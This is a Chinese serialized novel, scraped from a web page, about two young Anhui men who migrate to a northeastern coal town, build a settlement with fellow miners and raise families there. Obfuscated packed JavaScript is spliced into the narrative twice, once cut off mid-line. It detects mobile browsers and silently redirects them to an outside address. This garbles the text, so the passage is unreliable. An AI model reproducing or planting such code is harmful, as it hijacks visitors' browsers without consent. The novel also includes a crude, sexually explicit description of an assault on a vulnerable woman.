停了一会，于淮南表示说：“五舅，我俩都18岁了，也是成人了。我俩都是家里的长子，看到家里的日子，一天不如一天，爹娘每天在地里干活，一年下来看不到钱。俺们吃不饱，穿不暖，不出去闯闯，这日子是没法儿改变了。说着的于淮南的眼睛被泪水模糊了。 宋凤桐说：“五舅，你帮帮我俩吧，我爹娘是不会反对！。”他把已经向大舅借来的路费，还有大舅给爹娘写了封信的事，全部详细的说了。 五舅听后沉思了一会说：“这么说，你爹娘不会拦着你去东北了。可于淮南是个独生子，他爹娘不能让他去东北的。” 于淮南解释说：“我和凤桐去东北互相照顾，爹娘还是会放心的。”五舅听淮南说的在理没有说什么。 妗子饭做好了，在西屋放个地桌，把猪头肉切了，又在园子摘了黄瓜，拍了做一碟凉菜。还油炸了一盘儿花生米，炒了一盘鸡蛋。舅妈拿了酒、碗筷子，还拿了三个酒杯进屋说：“你们边吃边说吧。” 五舅手一挥说：“你们还给我带来了酒、猪头肉，咱们一起喝点。” 宋凤桐说：“以后我俩去东北挣到钱，要孝敬你，给你邮寄东北的酒。” 五舅说：“东北的高粱酒70度更烈！”说着倒了三小杯酒，拉着宋凤桐，于淮南坐下。 实在是拗不过五舅，宋凤桐举起酒杯说“五舅，我俩不会喝酒，陪你喝一杯，先敬你！谢谢五舅为我们俩去东北的事操心。”说着举杯。五舅干了一杯，宋凤桐、于淮南，喝了一小口，辣得于淮南直伸脖子，宋凤桐也脸色通红起来。 五舅见了哈哈地笑了起来，“来吃菜！这两个娃真不会喝酒哦！”说着夹猪头肉往宋凤桐、于淮南口碟里放。 宋凤桐又给五舅杯满上了酒，五舅举杯又干了一小杯。两杯烈酒下肚，打开了话匣子，话题当然是去东北煤城挖煤了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987674|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五舅竖起大拇指赞成地说：“我佩服有胆量的男人，你们俩敢有去东北挖煤的想法，是个男子汉！” “俗话说，吃得苦中苦，方为人上人。你们主意已定，路费也借来了，我也不怕得罪你们两家的爹娘了，吃过饭后我给我内弟写信。于凤桐又给五舅倒一杯酒，五舅这次没有干，只喝了一小口。脸上露出点儿伤感。”说；当年我18岁想和老乡闯关东，是爹娘给我定了亲，我是独子，成亲后你妗子生了娃后再让去东北。没办法，听爹娘的，要成亲生娃。可是因为你妗子第一胎生了个女娃，不让去东北。生了男娃，随便儿去哪都不管了。你们妗子也真行，二胎又生了个女娃，三胎又生了还是女娃。唉，爹娘都老了，这个家只有我这么个劳力，还要给爹娘送终，也确实走不了。”说到这儿，五舅将杯中酒一口干了。 五舅说得宋凤桐、于淮南心里沉沉的，三个人儿都眼泪汪汪。 五舅喝少半瓶酒不喝了，去孩子那里拿了一个笔和纸。提笔想了想，给内弟写了信，他是这样写的： “二弟见字如面，来信收息，知你在东北，一切顺遂。我和你姐甚是开心，我把你去东北安身立业之事告知，我庄乡亲，他们都为你祝福！今去见你的人是我庄乡亲，叫宋凤桐、于淮南，他俩是今年初中毕业，想去你处谋生活，请内弟看着我和你姐的面子，尽最大能力帮助他们！” 此致 拜托！ 姐夫：田士成 五舅写完信让宋凤桐、于淮南看了，他俩十分感动，五舅的形象顿时高大了起来，对五舅的话深信不疑。 五舅找了信封，封了口，交给了于淮南。之后，告诉他俩去东北坐火车转几次车，找内弟详细地址。 临走时，宋凤桐、于淮南向五舅、妗子鞠躬致谢！ 宋凤桐和于淮南分手回到家。娘在油灯下缝补衣服，爹在床边抽烟。 “凤桐，你坐下！你今天没去地里干活，现在才回来？你干什么去啦？”娘生气地问.。 宋凤桐爹把手中的烟掐灭了，瞪着他。 “我今天上午去县城大舅那！”宋凤桐说着取出大舅写给爹娘的信递给了爹手里。“这是我大舅给您二老的信！” 宋凤桐爹拆开信，一字字地念给娘听。爹信读完了，娘也听明白了，张大嘴一时说不出话来。 宋凤桐爹用手指着他说：“凤桐你主意太大了，这么大了事情你自己就决定啦，让爹娘怎么接受？” 宋凤桐低下头没有回答。 爹又一次看着信问，“你去东北找谁？” “带着五舅的信去找他内弟。”宋凤桐把五舅帮忙去东北的事情告诉了爹娘。 宋凤桐的爹对着娘说：“他大舅信里已经把话说的明白了，又借给了路费，凤桐主意已定，就让他去东北吧！” 爹想起了今天村长开会讲了，不让农村劳动力外流，村里要管起来。“要走，明天就偷偷走！”宋凤桐爹说。 “爹、娘，俺已经长大了，凭力气挣钱，寄给家里，改变咱家生活的苦日子。你们放心，你和爹想买啥就买啥，不能让弟弟妹妹这么苦” 娘擦擦眼泪说：“听你爹的吧。” 爹是这样决定的，让宋凤桐。告诉淮南，明早鸡叫到村头集合，然后去李庄火车站买票，坐火车去东北。他一会儿去庄里会计家给宋凤桐开证明信，爹还说你和娘收拾去东北的带的衣物，又告诉老婆，你把家里那点白面。都给孩子烙薄饼，炒一盒咸菜带上路上吃，饼烙完了，娘用菜籽油炒了咸菜，放了辣椒，花生。飘了满屋的香味，娘把饼和咸菜都晾上。 宋凤桐看着闹表，已经九点多了，爹还没回来，娘着急了，去院儿里看了两次。娘把宋凤桐的衣服找出来，拿出了针线，把开缝的地方缝好，装在一个提兜里。又在宋凤桐的上衣缝了个兜儿，把钱和粮票儿装进兜儿里，千叮咛万嘱咐，不时的擦着眼泪，儿行千里母担忧，这句老话表达母亲对远行的儿子的牵挂，可是母亲对远行儿子的心痛更是肝肠欲断。 爹回来了，一脸疲惫。他从怀里掏出了证明信，递给了宋凤桐，说：“今天会计接到通知以后不许给任何出庄的劳力开证明信了，我是在会计家，不开坚决不走，磨叽着会计到现在才给开证明信，并说让你明早偷着走，说不定村里这几天要派民兵去火车站堵外出的劳动力。” 三口人紧张地装好了带的东西，时间已经到了凌晨的一点多了。爹娘、宋凤桐三个人拿着行李来到了庄头上。于淮南背着行李已经到了，宋凤桐娘拉着于淮南的手嘱咐道：“去东北，哥俩要时刻互相照顾。如果在东北做不了活儿，哥俩一定一同返回家。”边说边流泪。 宋凤桐放下行李，双膝跪地，于淮南也跪下来了，他们向两位老人磕头告别。 这时天已经放亮了，他们迎着曙光大步的奔向车站，踏上去北东北的列车…… 宋凤桐、于淮南经历了七天七夜的火车和汽车转运，来到了他们向往挣钱的东北煤城，找到了五舅的内弟老孟，宋凤桐拿出了五舅的亲笔信。 老孟看过信很激动，老乡见老乡，两眼泪汪汪，他握着宋凤桐、于淮南的手说：“孩子，什么都不用说了，你们只要肯吃苦。我能帮助你们的事我都会管，现在我干活的矿用人。” 老孟给他们俩安排了住处，吃饭吃集体食堂，干活和老孟一个班，他俩称老孟为孟舅。 时间过得很快，他们来矿已经一年多了。这一天，一个老乡告诉宋凤桐说，国家要在煤城建设大煤矿，要修铁路，正在招工，干好了可以转为国家正式工人。宋凤桐、于淮南去找孟舅商量后，三个人去铁路建设指挥部报了名，宋凤桐、于淮南成为煤城通往四面八方的铁路建设者。他们那时挖土方、填路基，人们只有两样工具，那就是铁锹和土篮子，没有任何的机械。宋凤桐挑土拣最大的土篮要装满土，再用铁锹拍一拍才挑走，说挑轻担子不过瘾，一些身体单薄的人试试宋凤桐的担子，他们硬是挑不起来，只好说“服”了。那一年五一劳动节，宋凤桐被评上了工地劳动模范，还当上了12个人的班长。宋凤桐写信把这一切告诉了爹娘和大舅，宋凤桐源源不断的往家里寄钱，家里的日子好转起来，爹娘每天都高高兴兴的。 宋凤桐力气比常人大，饭量也比常人大，虽然是集体伙食，但也是定量的，宋凤桐每顿要吃上一斤以上的饭量，他吃不饱时工友们会分给他饭菜，食堂师傅打饭时也会多打给他饭菜。点点滴滴的情义，让宋凤桐这个离家的汉子忘记了思乡的忧伤。 这一天，是宋凤桐小班的休息日，他约于淮南去市场买些生活用品，走到了猪肉摊床边看到猪头问：“多少钱一斤？” 卖猪头的小贩告诉他“十块钱一个猪头！” 宋凤桐指着一个猪头说：“称一下多少斤？” 卖猪头小贩称完说：“十八斤！” 于淮南见宋凤桐对猪头感兴趣说：“哥，你想吃，咱们就买，到老王大爷家烀猪头肉！” 宋凤桐说，买三个猪头，叫班里的工友一起饱饱口福，解解馋。 卖肉的小贩高兴，又给搭了些猪肠、碎肥肉，两个人高高兴兴的提着猪头到宿舍旁边儿民房的王大爷家中。 王大爷，王大娘老两口无儿无女，工地的人常到他家求王大娘缝缝补补，大爷、大娘很善良，对他们很亲。他们也常帮大爷种园子，干些力气活，常来常往，都不见外。王大爷正在院子里干零活儿，看到他俩提着三个猪头进院儿，迎上去问：“这是要改善伙食？” 宋凤桐回答说：“是的，小班的人都来吃！”大爷，我们呼猪头吃吧。 大爷拿着木拌子生火，宋凤桐去挑水，于淮南和大爷大娘开始烤猪头、洗肠子，忙得不亦乐乎。 大锅烀了两个猪头，小锅烀了一个猪头。一会儿，猪头肉的香味儿飘出来了。于淮南去宿舍叫了一个班儿的工友，顺路买了三斤散装的白酒，猪头肉烀的又香又烂，配上了大爷小菜园里的蘸酱菜，一顿丰盛的猪头宴开始了。 于淮南说：“哥，那个桌是一个整的猪头肉，我们大家打赌，看你一个人能不能吃完！工友们说这次让你吃个够。我们那还留两个猪头呢，还有肠和肥肉，够吃了。” 宋凤桐憨憨地笑了，猪头肉大餐快乐的结束了，宋凤桐一个人吃了十八斤猪头的战绩，成了为吃猪头肉的冠军，这充分体现了能者多劳，能吃更为多劳的美谈，这美谈在工地上流传了很多天，冲淡了他们的疲劳。 4. 第四章 宋凤桐、淮南在煤城铁路竣工后，如期转为国家煤矿正式矿工。他们经历了三年的自然灾害。1962年一同回到老家娶了媳妇。回到煤城后，两个人分别在上班儿附近的井口旁租了房子，两个小家庭诞生了，他们过着百姓的生活，两年以后，宋凤桐家媳妇儿生了个男孩，爷爷给取名叫宋厚成。三年后，于淮南媳妇生了一个女孩，于淮南取名叫于凤珍。 1965年春节过后，宋凤桐、于淮南两人作出了决定：他们要盖房子。盖房子的地址选在井口附近的排水沟边上。那是一望无际的草甸子，长着榛子树、小桦木和多种的灌木、杂草。到了秋天，采蘑菇，采榛子的男女老少络绎不绝，这时草甸子里最热闹。 这里离排水沟近，盖房子用水方便，有取之不尽的黄泥土，用之不完的各种杂草，盖房的土坯用多少，可以做多少。 盖房子的木材。他们决定去30里以外的大山砍木材。这是一片次生林地，自然生长着柞木，桦木，挑直的砍下来做檩子，做椽子、柱子、门窗，物尽其用。石头到煤矿矸石山上拣。房棚用的帘子，用柳条编织。苫房子的草，草甸里到处都是。 于淮南说，：“盖房子用其它的材料，我们手里也有积蓄，花钱买。”两个人高兴的像看到了自己盖起来的房子，哈哈的笑了起来。 宋凤桐想一想，拍大腿说：“淮南，我们要和班里的老乡说盖房子的事，他们和我们都一样是租房子住，我们一起盖房子，人多力量大，我们一户一户的盖。” 于淮南点点头说：“这是好事！”当天晚上他们上四点班，开完班前会后于淮南向老乡工友说了大家一起盖房子的想法。 宋凤桐这个班一共八个人，他们是修铁路时在一个班的老乡工友，感情深厚。俗话说，有着过命的交情。工友们听明白了，议论开了，一位姓孙的工友说：“我同意一起盖房子，我两年搬了四次家，租房子太难了。我们没有房子等于没有家！”看着宋凤桐又说：“我们有力气，你说怎么干我们就怎么干！” 一个接一个的盖房子，我们在大沟边上盖起一个小“安徽屯”。我们这个班工作在一起，下班儿回家住在一起，互相照应，太好啦！。大家议论着通过了一起盖小“安徽屯”的决议。 说干就干，这是那一代人的风格。过完春节，正月初八，东北依然是冰天雪地，他们首先选择了到山里砍木头，地上是冰雪铺的路，可以用爬犁运回来，爬犁是东北冰天雪地环境运输的产物，东北人冬天运输的工具。爬犁是两根木方做腿，上面儿做个框，放上木板，根据日常使用，可大可小，他们决定做五个大爬犁上山运木头，要抢在冰雪开化之前把木头运回房场。宋凤桐在老家时，有个远方亲戚是木匠，宋凤桐叫三叔，上中学以后，寒暑假去三叔家帮忙。当时他父亲想法是让他中学毕业后学木匠。三叔说宋凤桐悟性好，简单的木工活儿三叔一指点，他做的有模有样儿。做爬犁时，宋风桐量尺管技术，他们八个人各有分工，五个爬犁装了起来，摆在地上还真是有模有样，围观者赞叹不已。 爬犁放在山下，他们要往山上走，选好能用上的树。为了选好木材，他们踏着没膝盖深的雪在大山里艰难行走，摔跟头是家常便饭。两个人合作一会儿开始砍树，砍倒了要把树枝砍掉，两个人抬着木头，从山上往山下走，脚下没准深一脚浅一脚，不知要摔多少跤，然后用绳子捆住木头拉下山，装满一爬犁用绳子捆好，往家里拉。 春天来了，春天的太阳又大又明亮，射出了万道光芒，照的大地冰雪融化，万物复苏，照的大地热气腾腾。 他们买了一辆手推车，又照样自己制作一辆手推车，八个人到煤矿矸石山拣了64车矸石。 他们很像小燕子垒窝一样，用泥土和水、草把混在一起，用一个长方形的木框做模具，把和好的泥巴装到木框里，压实抹平后，把木框端起来，一块儿土坯做好了。他们就是这样做出一块块儿，一行行的摆放整齐的土坯，等待阳光晒干后码起一垛垛的土坯。 盖房需要用电，宋凤桐、于淮南两个人找到矿里供电领导，把他们互助建房需要用电的想法向领导详细说了一遍。 领导问了建房场地位置，要盖几户房子，他们一一地回答。领导告诉须请示上级，明天下午听消息。第二天下午，于淮南去见了领导，领导说：“昨天你们走后，我派人去了房场做了测量，回来做了预算，已经向供应科申请材料了，矿领导同意已经签字，你们回去告诉大家，用电的事矿里给解决了，等着我们去安装就可以了。”于淮南向领导表示了谢意。于淮南回到班里向大家说了一遍，大家听了心里暖暖的，盖房子干劲儿更足了。 六月份，他们开始盖第一户房子是宋凤桐、于淮南的家。为了省料省时，他们还设计出两户房子，盖14米长、5米宽，两个大山墙的连体房，房子两边开门，这样省一道山墙，两家都是暖山，在严寒的东北也是保暖的好方法。两家共用一个院子，共用一个厕所，共种一块菜园地，这种房子在东北只有一家人，老人和儿子分别住，吃饭在一起的家庭住这样房子，宋凤桐、于淮南两家盖这样的房子，别人不担心，因为他们自闯关东下矿挖煤，一直没有分开过，不是亲兄弟胜似亲兄弟。盖房子不光要有力气，还要有技术，八个人没有正式木匠，宋凤桐买来木工工具，他曾跟着师傅学过木匠活，盖房子前他就在纸上勾画出预留门窗木工的尺寸。 房子顺利上梁后，他们发现房架的坡度太陡了，在房子钉椽子、抹泥、苫草时，在房子上干活腰要拴着一个绳子，防止滑下来。这样的房子也有一个优点，下雨一点水都不会存住，减少了房盖漏水的风险。这户造型的房子后来成为小安徽屯标志性的建筑，经常被人指指点点。他们又对自己的产品总结一番，决定下一个房子请木匠。然后，于淮南以小工的身份跟着木匠干活，边干边偷学技术。 宋凤桐、于淮南的房子竣工后，他们马上搬家来住，主要是为了盖下几个房子方便他们备料、存放工具等等，需要有个院子，有人看着防止丢失。 宋凤桐、于淮南的媳妇，还有其他几家的媳妇每天都给盖房的男人做饭，男人们要上班还要盖房子，女人们要带孩子，还要做饭，忙得不亦乐乎，这样的日子他们说有奔头。 下一个房子是姓孙的工友，他们找到一位木匠，姓杜，技术好，工钱高于其他的木匠。他们商量工钱高点技术好，这是我们要请的人。跟着这样的师傅才能学到本领学到本事。于淮南、孙师傅二人去请了杜师傅，杜师傅说他们几个徒弟已经接了几个活，不能接他们的活了，确实忙不过来，因为盖房子工人太多了， 于淮南将八个人互助盖房的事情说了，然后说：“杜师傅，我们可以给你打下手，拜你为师，在关键的地方你指点指点！” 杜师傅被他们合伙建房所感动，答应：“好吧！” 宋凤桐决定，让于淮南今后全力跟杜师傅学木工，其他的事情不要做了。于淮南正式拜了杜师傅为师。那一天晚上，他们请杜师傅喝了拜师酒，八个人自从盖房子备料以来，第一次痛快的大喝了一顿。之后，他们盖的房子周周正正，再没有路过人指指点点地嘲笑了。 宋凤桐他们八个人用了三年的时间，边工作，边盖房，在这生荒地上建设了“小安徽屯”小区。每户门前都开垦了土地，这些农村出身的男男女女种上了五谷杂粮，各种蔬菜，栽植了果树，饲养了鸡、鸭、鹅、猪家禽。这些家禽生命力极强，只要在它们吃食之前养护好，能吃食之后的小鸡、小鸭、小鹅就会跟随大鸡、鸭、鹅的大部队去草地找食吃。甚至在高兴的时候都排着队边走边说着自己的语言，欢快的回家。也有智商低的家禽，他走到了别人家的家禽的队伍。但是那些不认识它的同类家禽会用嘴啄它，把它赶出队伍。所以每一天晚上，她们主人都会去荒地那边采野菜，顺便看着有掉队的家禽，把他们收编回来。鸭子、鹅，它们是晚间下蛋，早上起来嘎嘎地叫上一阵，向主人报告一下，主人会夸上几句，把蛋捡回来，攒够了一批洗干净，晾干了，用铅笔写上记号，一般是写月份，这样是区别腌制的时间，这些工序完成后，把蛋放入一个化好的盐水小缸里腌制。吃时保证个个都是流油香喷喷的。小鸡白天下蛋，聪明的母鸡一般是在早儿上七到八点，在家里的鸡窝里下完蛋后，喔喔的大声报告主人，主人会撒两把米奖励它们，然后它们去草地找队伍去了。有的母鸡性格急躁，带着没下的蛋去草地随便下蛋，回家已经来不及了，所以女人们每天都要有人去草地里找蛋，谁找到了蛋归谁家所有，她们有时会聚在一起炫耀成果，然后哈哈大笑，各回各家；更有趣的是每家每年孵小鸡的季节会有老母鸡丢失，不过二十多天后，老母鸡会带着一群小鸡回家，这是它自己下的蛋在草地上孵出来的小鸡，这时女主人会比过年还高兴，会重重地犒劳母鸡，小鸡这一天全家也会吃一顿丰盛的大餐，以示庆贺。 每年冬天下第一场雪以后，各家开始忙碌起来，男人们磨刀霍霍，他们要杀鸡杀鹅，女人们挑出那些丢蛋的母鸡，太肥胖不下蛋的母鸡，年老的鹅鸭分批杀掉，下过几场雪大地封冻后，杀得家禽要在雪堆里冻着，留着一个冬天改善伙食。进入腊月，“安徽屯”的男人女人更忙了，他们八家要排在号轮流杀猪，这些天他们八家所有的大人、孩子都到当天杀猪的家吃猪肉，女人们起早把酸菜切好，男人们杀猪要把肉切开，大块小块怎么做就要怎么分开。放到院子里冻透放到天然的大冰箱里，留一些肉腌制起来，夏天炖豆角时吃。分割出来的肥肉要用大锅烀熬，在大锅里飘着一层厚厚的油，女人们把切好的大盆酸菜放在锅里，酸菜要在油汤里煮几个小时，停火后凉一个晚上，第二天装到仓房的缸里存放。每天每家都在饭桌上有一道杀猪菜吃，在男人们上班之前，杀猪宴开始煮好的血肠，切好每个桌一大盘烀好的五花肉，每个桌一大碗儿蒜酱，煮好的酸菜粉条，每个桌两边各放一盆。男人们一桌，孩子们女人一桌，有时还请井口领导或者平日里有往来的老乡朋友来吃猪肉。这时候的气氛热烈，大人孩子分享着他们的劳动成果，男人们大口喝酒，大口吃肉，说着开心的事，哈哈大笑，女人和孩子们不吃肥肉，她们啃着骨头把瘦肉送到孩子嘴里，嘴中边说着家常和孩子们的趣事，时而哈哈大笑。 菜园子里的耕种，主要是有每个家庭的女人开垦出来的，土地肥沃，无论种什么都长了又肥又壮。春天，他们早早种上生菜，小白菜，小萝卜。为了保温上面盖上塑料布，这样他们提前半个月端到饭桌上吃上绿色小菜。而后的时间继续种上黄瓜，豆角，还有从老家寄来的甘蓝菜等东北没有的菜种。宋凤桐的媳妇把婆婆丁、柳蒿芽、苦菜这些山野菜根留在田园里，任期串根连片地生长，一个夏天都有野菜吃。用木槽培育茄子秧、柿子秧，辣椒秧，端午节时栽到园子里。这些技术成熟后，她把经验告诉姐妹们，家家都有育秧苗的槽子，自己育菜苗省下了很多买秧苗的钱。 宋凤桐家的园子里的黄瓜，茄子，各种蔬菜都要比别人家长的又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小安徽屯”的人们在这里生活得很美，但美中不足的是生活用水是大沟里的流淌的水，是煤矿井下抽出来的水，含有煤的成分，看着黑乎乎的，做饭，洗衣服不卫生。他们每家都备用两口大缸放在院子里，把水担回来，放到一个缸里沉淀，然后把清水盛出来，放到另一个缸里，水缸里放上白凡继续沉淀，这时水清了，才能做饭，洗衣服用。他们问了矿里的技术员可不可以打井，技术员说，这种地表水不能用，要打太深的井，你们的能力做不到，他们似懂非懂，明白不能打井了，也只好维持现状，吃不卫生的水也成了他们的心病。 八户人家的小安徽屯几年过去了，已经发展到三十多户人家了。有江苏人、山东人、河北、河南人、还有两户东北人。住的人家多了，人口也多了，事情也多了，也复杂了，原来的八户人家没有安全感了，园子里的菜被人偷着摘走了，家禽隔几天少一只，丢一只家禽，不仅仅是一只家禽，还连着丢掉了蛋，这蛋能生鸡、鸡能生蛋的道理。女人们拎得清，所以他们组团到处找鸡，没有找到鸡，却找到了鸡毛。她们轮班上阵，连续大骂几个小时，让偷鸡的人闻风丧胆，家禽再也没有丢失。男人们还是要力挺女人们的斗争精神，背后议论说，“这些娘们儿真厉害，咱们挣一块板，他们还真能攒出一扇门，以后我们要多疼疼她们，边说边一阵坏笑。 夏天发生了这样一件事，让“小安徽屯”的人蒙羞。东北的三伏天最热，一天晚上，天气又闷又热，一点风丝都没有。一家江苏人盖好房子刚住进来，一对夫妻2两个孩子，大一点的是男孩，五岁小的点是女孩儿，还在吃奶。这女人们的智商有点差，反应慢。做家务还可以。据她男子说，媳妇是近亲结婚先天胎儿带来的毛病。男人上夜班，晚上11点走了，女人热的睡不着觉，天快亮了，才睡着了，觉得有人拉她的内裤，没在意已为自家的男人犯贱，是在梦里和男人云雨了一番，当她被一个响声惊醒，摸了一下男人睡的地方空空没人，她打着灯，这时她想起来，男人今天上夜班，早晨八点后才下班回家。内裤已经被脱掉， 屁股上还有□□，知道了发生了不该发生的事情。这个婆娘下地找到一个劈柴用的大板斧冲到院子里，这时天色已经放亮，她到处犄角旮旯找了一遍没有人影，她又冲出院子，也不见人影。她崩溃了，一屁股坐在地上放声大哭，嘴里不停的骂道，这个驴操的，偷逼操，还像个乱捣蒜，俺男人都是一下一下的…… 她呼天喊地的骂声、哭声，在寂静的黎明格外震憾，他们家的邻居听到哭骂声，男人叫起来女人，两个人拿着铁锹，木棒来到了她家门前，男人问：“有小偷啊？”那个女人大声哭喊：“是来偷逼操的！”邻居女人听懂了，女人说男人上夜班了。人越来越多，几个年长的女人把她扶了起来，送到屋里，孩子已经哭成一团，哥哥拉着妹妹哇哇大哭。几个年长的女人看着也跟着哭起来，男人们在外边，议论说这个坏蛋已经跑了，现在去矿里保卫科报案也没用，她男人又不在，我们也不好决定报案，还是等她男人回来让他自己决定吧！有几个年长的女人陪着，那个女人也慢慢地冷静下来，照顾孩子，等待男人回家。男人准时下班回到家，看到家里怎么这么多人，不知道发生了什么事情。女人看到男人放下孩子，扑到男人的怀里大哭：“啊！我不能活了！”男人抱住她问，“怎么了你说？”女人更是大哭，“不能活了！孩子看到妈妈哭子也放声大哭，屋子里的人都同情的落下了泪，男人抱着女人说：”你说呀？到底是发生了什么事情，天塌下来由我顶着！“女人把事情的经过说了一遍，男人发疯了，拿起板斧冲出院子，砍着一颗已经死了的老榆树。年长的男人夺去了斧头说道，“你是个丈夫，发生这样的事，坏人已经跑掉了，你是不是要报案？”男人镇静了一会儿说，现在去报案，当时这片没有派出所。只能去矿里保卫科报案，有两个年长的男人陪着她和丈夫骑着自行车去保卫科报案，年长的女人们帮看孩子，又给他们做了饭。保卫科立了案，马上派人过来破案。日子还要过下去，生活还在继续。几天后，“小安徽屯”恢复了往日的平静。但是家家都加强了安保，大门、房门都上了锁，屯里来了生人，都提高了警惕。保卫科的同志来了几次调查案子，最后没有抓到坏人。“小安徽屯”的男人们半年以后才敢大声说话，没有保护好女人，让他们很自责。 5. 第五章 寒来暑往，宋凤桐、于淮南，他们这一代人有家、有业、有儿女，他们与这块黑土地融合在一起，习惯了东北的一切，习惯了“安徽屯”的一切。矿里建第一批公房时，负责分房的总务科任科长找到了宋凤桐，于淮南等几个老工人谈话说：“你们现在住的“安徽屯”自建区条件太差，这次分房要分给你们一部分，逐渐的把老工人都搬到工人村住。” 宋凤桐他们想公房条件是好，有自来水，卫生条件也好，昼夜供电，可是房子大号只有40多平方米，他们现在每家都七口人以上，孩子多住不开；公房没有园子，这么多人口不能每顿买菜吃吧！也买不起，又养不了鸡，鸭，鹅，猪，生活也有困难。他们几个老工人商量跟任科长说：“能不能向上级领导反映我们安徽屯的老工人不要房子了，矿里把自来水引到户，把我们的往外走的路用岩石铺一铺？”任科长说：“我会找后勤的矿长汇报，你们明天来找我听听情况。” 第二天早上，宋凤桐、于淮南一起去矿里总科见了任科长，任科长给他们让座，又给他们倒了热水，然后说：“昨天你们提的想法，我已经向李矿长汇报，昨天晚上下班前李矿长打来电话说，领导班子开会了同意你们不搬家给你们每户接上自来水，把路修好接到矿里路。矿里派我去区政府为你们“安徽屯”街道管理的事落实好。宋凤桐、于淮南感动地说，谢谢矿领导！谢谢任科长！请任科长转达我们感谢之情！” 任科长握着宋凤桐手说：“你们都是煤矿功臣，不管换谁当矿长都不会忘记你们这些老工人！有困难来找我，我们总务科能办到的事情不会往外推。” 自1958年到1996年，已经38年过去了，宋凤桐、于淮南这一代老矿工陆续退休了，他们一直住在“小安徽屯”的老房子。孩子们长大了，开枝散叶，有了自己的家庭。可是这是孩子们父母的家，也是孩子们的老家，是孩子们的革命摇篮，每年春节正月初二的两家人聚会，是两家人最幸福的时刻，特别是宋厚成、于凤珍这对两家的长子，长女见证了父母每日的辛苦劳作。弟妹的成长，老屋的年轮，他们俩从没有在“小安徽屯”长大而自卑，而是以有这样坚强、乐观、善良的父母为荣，这也是他们在今后的人生道路上，无论遇到什么坎坷，都能从容面对的强大基因。 1997年的大年二十七，宋厚成、于凤珍回到家了。 厚成的娘听到了摩托车的响声，和三儿子金城说：“是你大哥回来了！”娘、金城和妹妹小香从屋里出来迎接。 厚成、凤珍异口同声地：“娘好！弟弟、小妹好！” 娘见厚成、凤珍摩托车上挷着水果箱子说，“又买了这么些东西回来啦！” 凤珍说：“过年了”。 娘问凤珍：“冷不冷？” 凤珍回答：“娘，不冷！” “两位老爹好！”厚成、凤珍几乎同时问候道。 两位父亲正在炕边下棋连声回答说：“好好！” 凤珍看到家里已经刷完了墙，屋里散发着白灰的味道。面板放在炕上，上面有和好的面和豆馅。知道娘在蒸馍，每年的大年二十七、三十都是娘蒸馍的日子。这两天娘要做各种不同的馍，不同的馍和出的面是不一样的。娘蒸出的鱼、鸡，猪面要发硬一些，这样蒸出来的十二生肖才能栩栩如生；蒸出的糖包要白白胖胖。蒸出的肉包子，菜包子要又大又胖，褶皱分明，馒头要蒸的五瓣有红枣的 又要蒸一些红小豆馅的豆包，这些产品出来后娘不让别人碰，要经她一个人的手，一个个摆放好凉后定型了，放在院子里架子上冻透了，才小心翼翼地装在纸盒箱里。娘说，过年吃的面食要有模有样才喜庆。 凤珍从包里拿出了棉衣服对着坐着炕上的二位老爸说：“二位老爸，下地穿上新棉服试一试！” 二位老爸下地后，凤珍先给宋凤桐老爸穿上了棉服，是蔚蓝色的衣面、灰色毛领的新款式样，老爸穿着正合适，只是说有点太新式样。 凤珍说：“老爸穿上新衣服就是要显得年轻才好呀！” 金城、小香连连称赞：“好看，好看！” 妈妈也称赞：“正合身！” 凤珍给于淮南老爸穿上了新棉服说：“老爸你穿上这件棉服，立刻年轻了5岁，大小合适！”大家哈哈大笑。 凤珍拿出了羊毛衫对二位妈妈说：“给你们二位妈妈买得羊毛衫，你们看喜欢不喜欢？” 二位妈妈接过来打开看是紫色带有黑色牡丹花的开衫，很喜欢：“俺孩子买得真好，我俩喜欢！ 厚成一个手抱着苹果箱，一个手拎着橘子箱去给凤珍家送去水果。 一家人坐下说话，凤珍娘问：“厂里放假啦？”凤珍回答说：“放假了” 厚成娘问：“小凯，小丹都好吧！” 凤珍回答说：“好，他俩每天大多时间写寒假作业。” 凤珍说，今年厂里放假时间长，要正月十六才上班。 两位娘高兴地说：“好好，你们初二回来多在家住几天。” 厚成、凤珍娘去厨房做饭，凤珍和小香也去了厨房帮忙。 厚成看着两位老爸下棋。 一个多小时后，两位娘做好了饭菜，厚成放好了地桌，凤珍和小香子端上了菜，有大盘咸鸡、鸭、鹅蛋，炒白菜木耳，炒圆葱，炖豆角，炖了粉条；炸了鸡蛋酱，有冻白菜、大萝卜、生菜，满满一桌子。娘热了馒头，玉米粥，大家围着桌子吃饭。两位老爹一人喝了一杯酒。 吃过饭，凤珍和小香把桌子和厨房收拾好，大家说了一会儿话，凤珍和厚成说要回去了，到市里要给孩子买一些过年穿的衣服。 两位娘把他们送到大门，厚成娘把一个装满的大袋子交给了厚成说：“这是给孩子的东西！你们慢点走，初二早点回来！” 厚成、凤珍来到了商场，给小凯，小丹每人买了一套新衣服，四口人每人买了一双新袜子，他们又到了副食商场买了鸡、鱼，肉，蛋，水果，糖果，还买了鞭炮，给孩子买了手提小灯笼。大包和小包整理好捆在摩托上，他们一路顺利的回到家，回到了已经住了十年的家。这是一栋栋的公房，他家是一栋房的中间户，大门一侧是简易的煤棚子，连着一个简易的仓房，煤棚子装煤、木拌子，仓房是停放自行车、摩托车、还有不常用的工具等，这些都有厚成经管。院子里有30多平方米的空地，厚成在院子里四周铺了水泥块，院子中间有块空地是一棵大樱桃树， 